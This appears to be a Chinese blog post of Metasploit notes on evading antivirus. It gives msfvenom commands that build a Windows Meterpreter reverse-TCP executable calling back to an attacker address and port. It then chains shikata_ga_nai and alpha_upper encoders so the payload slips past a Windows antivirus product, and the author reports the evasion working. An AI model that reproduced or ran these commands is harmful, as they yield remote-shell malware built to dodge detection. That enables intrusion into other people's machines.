1. 程式人生 > >Metasploit筆記--免殺技巧

Metasploit筆記--免殺技巧

0x01 防毒軟體防毒原理
目前的大多數殺病毒軟體採用的方法主要是特徵碼(signatures)查毒方案與人工解毒並行,亦即在查病毒時採用特徵碼查毒,在殺病毒時採用人工編制解毒程式碼。特徵碼裝載在防毒引擎中,用來對磁碟和程序進行掃描,尋找匹配物件

0x02 MSF編碼器(msfencode)
利用MSF編碼器改變可執行檔案的程式碼形狀,生成新的二進位制檔案並將檔案解碼到記憶體中執行,讓防毒軟體識別不出原來的樣子,而程式功能不受編碼影響

0x03 生成攻擊載荷(msfpayload)

  1. 命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=445 -f exe >payload.exe

  2. 這裡寫圖片描述
  3. 引數:
    -p, –payload < payload> 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用& #039;-& #039;或者stdin指定
    -f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支援的輸出格式列表)
    詳見:

0x04 程式檢測

將生成的載荷檔案payload.exe拷貝到Windows主機上,看電腦管家能不能檢測出來
這裡寫圖片描述

這裡寫圖片描述

  1. 意外。。。這種簡單方式沒有任何處理的載荷執行檔案99%都會被檢測出來的,應該是因為編碼器每次生成的攻擊載荷檔案都不一樣。防毒軟體識別攻擊載荷的惡意程式碼確實是個謎:有時候能檢測出來有時候幸運就全然不知
  2. 那99%的情況是這個樣子
    這裡寫圖片描述
    一拷貝沒等我反應就幫我清除了。。。。

0x05 多重編碼
Metasploit框架允許對攻擊載荷進行多次編碼,繞過防毒軟體的特徵碼檢查,是比較有效的一種方法

  1. 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' -e x86/alpha_upper -i 5 LHOST=192.168.1.105 LPORT=445 -f exe >payload2.exe
    這裡寫圖片描述

  2. 檢測
    這裡寫圖片描述
    這次就算是成功躲避了電腦管家的檢測,因為payload2.exe使用了12次的shikata_ga_nai編碼、5次alpha_upper編碼,理論上能躲過防毒軟體檢測。
    實際情況比這個要複雜得多、不同作業系統編碼命令不同、在不斷對攻擊載荷編碼的同時防毒軟體也會持續更新病毒庫


    利用MSF編碼器只是一種比較便捷的方式,還有更多過防毒軟體的姿勢待更……